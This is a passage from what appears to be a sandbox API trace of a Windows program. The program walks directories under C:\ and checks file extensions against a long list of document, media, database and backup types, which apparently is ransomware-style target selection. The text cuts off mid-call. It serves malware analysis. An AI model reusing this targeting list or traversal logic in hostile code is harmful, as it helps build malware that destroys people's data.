(lpString=".flm") returned 4 [0036.836] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".flv") returned 4 [0036.836] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".frm") returned 4 [0036.836] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".fxg") returned 4 [0036.836] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".geo") returned 4 [0036.836] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".gif") returned 4 [0036.836] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".grs") returned 4 [0036.836] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".gz") returned 3 [0036.836] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0036.836] lstrlenW (lpString=".h") returned 2 [0036.836] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0036.836] lstrlenW (lpString=".hdr") returned 4 [0036.836] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".hpp") returned 4 [0036.836] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0036.836] lstrlenW (lpString=".hta") returned 4 [0036.836] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".htc") returned 4 [0036.837] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".htm") returned 4 [0036.837] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".html") returned 5 [0036.837] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0036.837] lstrlenW (lpString=".icb") returned 4 [0036.837] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".ics") returned 4 [0036.837] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".iff") returned 4 [0036.837] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".inc") returned 4 [0036.837] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0036.837] lstrlenW (lpString=".indd") returned 5 [0036.837] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0036.837] lstrlenW (lpString=".ini") returned 4 [0036.837] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0036.837] FindNextFileW (in: hFindFile=0x611ef8, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0036.837] FindClose (in: hFindFile=0x611ef8 | out: hFindFile=0x611ef8) returned 1 [0036.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.837] FindNextFileW (in: hFindFile=0x610eb0, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0036.837] FindClose (in: hFindFile=0x610eb0 | out: hFindFile=0x610eb0) returned 1 [0036.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37a06c8 | out: hHeap=0x520000) returned 1 [0036.838] FindNextFileW (in: hFindFile=0x610e70, lpFindFileData=0x33cfd00 | out: lpFindFileData=0x33cfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0036.838] lstrlenW (lpString="C:\\Boot") returned 7 [0036.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0036.838] lstrlenW (lpString="Boot") returned 4 [0036.838] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0036.838] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37a06c8 [0036.838] lstrlenW (lpString="C:\\Boot") returned 7 [0036.838] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x611eb8 [0036.838] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.838] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0036.838] lstrlenW (lpString="BCD") returned 3 [0036.838] lstrlenW (lpString=".1cd") returned 4 [0036.838] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0036.838] lstrlenW (lpString=".3ds") returned 4 [0036.838] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0036.838] lstrlenW (lpString=".3fr") returned 4 [0036.838] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0036.838] lstrlenW (lpString=".3g2") returned 4 [0036.838] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0036.838] lstrlenW (lpString=".3gp") returned 4 [0036.838] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".7z") returned 3 [0036.839] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0036.839] lstrlenW (lpString=".accda") returned 6 [0036.839] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".accdb") returned 6 [0036.839] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".accdc") returned 6 [0036.839] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".accde") returned 6 [0036.839] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".accdt") returned 6 [0036.839] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".accdw") returned 6 [0036.839] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".adb") returned 4 [0036.839] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".adp") returned 4 [0036.839] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai") returned 3 [0036.839] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0036.839] lstrlenW (lpString=".ai3") returned 4 [0036.839] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai4") returned 4 [0036.839] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai5") returned 4 [0036.839] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai6") returned 4 [0036.839] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai7") returned 4 [0036.839] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".ai8") returned 4 [0036.839] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".anim") returned 5 [0036.839] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".arw") returned 4 [0036.839] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0036.839] lstrlenW (lpString=".as") returned 3 [0036.840] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0036.840] lstrlenW (lpString=".asa") returned 4 [0036.840] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asc") returned 4 [0036.840] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".ascx") returned 5 [0036.840] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asm") returned 4 [0036.840] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asmx") returned 5 [0036.840] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asp") returned 4 [0036.840] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".aspx") returned 5 [0036.840] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asr") returned 4 [0036.840] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".asx") returned 4 [0036.840] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".avi") returned 4 [0036.840] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".avs") returned 4 [0036.840] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".backup") returned 7 [0036.840] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".bak") returned 4 [0036.840] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".bay") returned 4 [0036.840] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".bd") returned 3 [0036.840] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0036.840] lstrlenW (lpString=".bin") returned 4 [0036.840] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".bmp") returned 4 [0036.840] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0036.840] lstrlenW (lpString=".bz2") returned 4 [0036.840] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".c") returned 2 [0036.841] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0036.841] lstrlenW (lpString=".cdr") returned 4 [0036.841] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cer") returned 4 [0036.841] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cf") returned 3 [0036.841] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0036.841] lstrlenW (lpString=".cfc") returned 4 [0036.841] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cfm") returned 4 [0036.841] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cfml") returned 5 [0036.841] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cfu") returned 4 [0036.841] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".chm") returned 4 [0036.841] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cin") returned 4 [0036.841] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".class") returned 6 [0036.841] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".clx") returned 4 [0036.841] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".config") returned 7 [0036.841] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cpp") returned 4 [0036.841] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cr2") returned 4 [0036.841] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".crt") returned 4 [0036.841] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".crw") returned 4 [0036.841] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0036.841] lstrlenW (lpString=".cs") returned 3 [0036.841] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0036.841] lstrlenW (lpString=".css") returned 4 [0036.842] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".csv") returned 4 [0036.842] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".cub") returned 4 [0036.842] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dae") returned 4 [0036.842] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dat") returned 4 [0036.842] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".db") returned 3 [0036.842] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0036.842] lstrlenW (lpString=".dbf") returned 4 [0036.842] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dbx") returned 4 [0036.842] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dc3") returned 4 [0036.842] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dcm") returned 4 [0036.842] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dcr") returned 4 [0036.842] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".der") returned 4 [0036.842] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dib") returned 4 [0036.842] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dic") returned 4 [0036.842] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dif") returned 4 [0036.842] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".divx") returned 5 [0036.842] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".djvu") returned 5 [0036.842] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".dng") returned 4 [0036.842] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0036.842] lstrlenW (lpString=".doc") returned 4 [0036.842] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".docm") returned 5 [0036.843] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".docx") returned 5 [0036.843] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dot") returned 4 [0036.843] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dotm") returned 5 [0036.843] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dotx") returned 5 [0036.843] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dpx") returned 4 [0036.843] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dqy") returned 4 [0036.843] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dsn") returned 4 [0036.843] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dt") returned 3 [0036.843] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0036.843] lstrlenW (lpString=".dtd") returned 4 [0036.843] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dwg") returned 4 [0036.843] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dwt") returned 4 [0036.843] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".dx") returned 3 [0036.843] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0036.843] lstrlenW (lpString=".dxf") returned 4 [0036.843] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".edml") returned 5 [0036.843] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".efd") returned 4 [0036.843] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".elf") returned 4 [0036.843] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".emf") returned 4 [0036.843] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0036.843] lstrlenW (lpString=".emz") returned 4 [0036.843] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".epf") returned 4 [0036.844] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".eps") returned 4 [0036.844] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".epsf") returned 5 [0036.844] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".epsp") returned 5 [0036.844] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".erf") returned 4 [0036.844] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".exr") returned 4 [0036.844] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".f4v") returned 4 [0036.844] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".fido") returned 5 [0036.844] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".flm") returned 4 [0036.844] lstrcmpiW (lpString1=".flm", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".flv") returned 4 [0036.844] lstrcmpiW (lpString1=".flv", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".frm") returned 4 [0036.844] lstrcmpiW (lpString1=".frm", lpString2="") returned 1 [0036.844] lstrlenW (lpString=".fxg") returned 4 [0036.844] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1 [0036.844] lstrcmpiW (lpString1=".geo", lpString2="") returned 1 [0036.844] lstrcmpiW (lpString1=".gif", lpString2="") returned 1 [0036.844] lstrcmpiW (lpString1=".grs", lpString2="") returned 1 [0036.844] lstrcmpiW (lpString1=".gz", lpString2="BCD") returned -1 [0036.844] lstrcmpiW (lpString1=".h", lpString2="CD") returned -1 [0036.844] lstrcmpiW (lpString1=".hdr", lpString2="") returned 1 [0036.845] FindNextFileW (in: hFindFile=0x611eb8, lpFindFileData=0x33cfa84 | out: lpFindFileData=0x33cfa84*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0036.845] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.845] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x612f00 [0036.881] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.881] FindNextFileW (in: hFindFile=0x612f00, lpFindFileData=0x33cf808 | out: lpFindFileData=0x33cf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.881] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0036.881] lstrlenW (lpString=".1cd") returned 4 [0036.881] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0036.881] lstrlenW (lpString=".3ds") returned 4 [0036.881] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0036.881] lstrlenW (lpString=".3fr") returned 4 [0036.881] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0036.881] lstrlenW (lpString=".3g2") returned 4 [0036.881] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0036.881] lstrlenW (lpString=".3gp") returned 4 [0036.881] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0036.881] lstrlenW (lpString=".7z") returned 3 [0036.881] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0036.881] lstrlenW (lpString=".accda") returned 6 [0036.881] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0036.881] lstrlenW (lpString=".accdb") returned 6 [0036.882] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0036.882] lstrlenW (lpString=".accdc") returned 6 [0036.882] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0036.882] lstrlenW (lpString=".accde") returned 6 [0036.882] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0036.882] lstrlenW (lpString=".accdt") returned 6 [0036.882] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0036.882] lstrlenW (lpString=".accdw") returned 6 [0036.882] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0036.882] lstrlenW (lpString=".adb") returned 4 [0036.882] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".adp") returned 4 [0036.882] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai") returned 3 [0036.882] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0036.882] lstrlenW (lpString=".ai3") returned 4 [0036.882] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai4") returned 4 [0036.882] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai5") returned 4 [0036.882] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai6") returned 4 [0036.882] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai7") returned 4 [0036.882] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".ai8") returned 4 [0036.882] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".anim") returned 5 [0036.882] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0036.882] lstrlenW (lpString=".arw") returned 4 [0036.882] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".as") returned 3 [0036.882] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0036.882] lstrlenW (lpString=".asa") returned 4 [0036.882] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0036.882] lstrlenW (lpString=".asc") returned 4 [0036.882] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".ascx") returned 5 [0036.883] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0036.883] lstrlenW (lpString=".asm") returned 4 [0036.883] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".asmx") returned 5 [0036.883] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0036.883] lstrlenW (lpString=".asp") returned 4 [0036.883] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".aspx") returned 5 [0036.883] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0036.883] lstrlenW (lpString=".asr") returned 4 [0036.883] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".asx") returned 4 [0036.883] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".avi") returned 4 [0036.883] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".avs") returned 4 [0036.883] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".backup") returned 7 [0036.883] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0036.883] lstrlenW (lpString=".bak") returned 4 [0036.883] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".bay") returned 4 [0036.883] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".bd") returned 3 [0036.883] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0036.883] lstrlenW (lpString=".bin") returned 4 [0036.883] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".bmp") returned 4 [0036.883] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".bz2") returned 4 [0036.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0036.883] lstrlenW (lpString=".c") returned 2 [0036.883] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0036.883] lstrlenW (lpString=".cdr") returned 4 [0036.883] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0036.883] lstrlenW 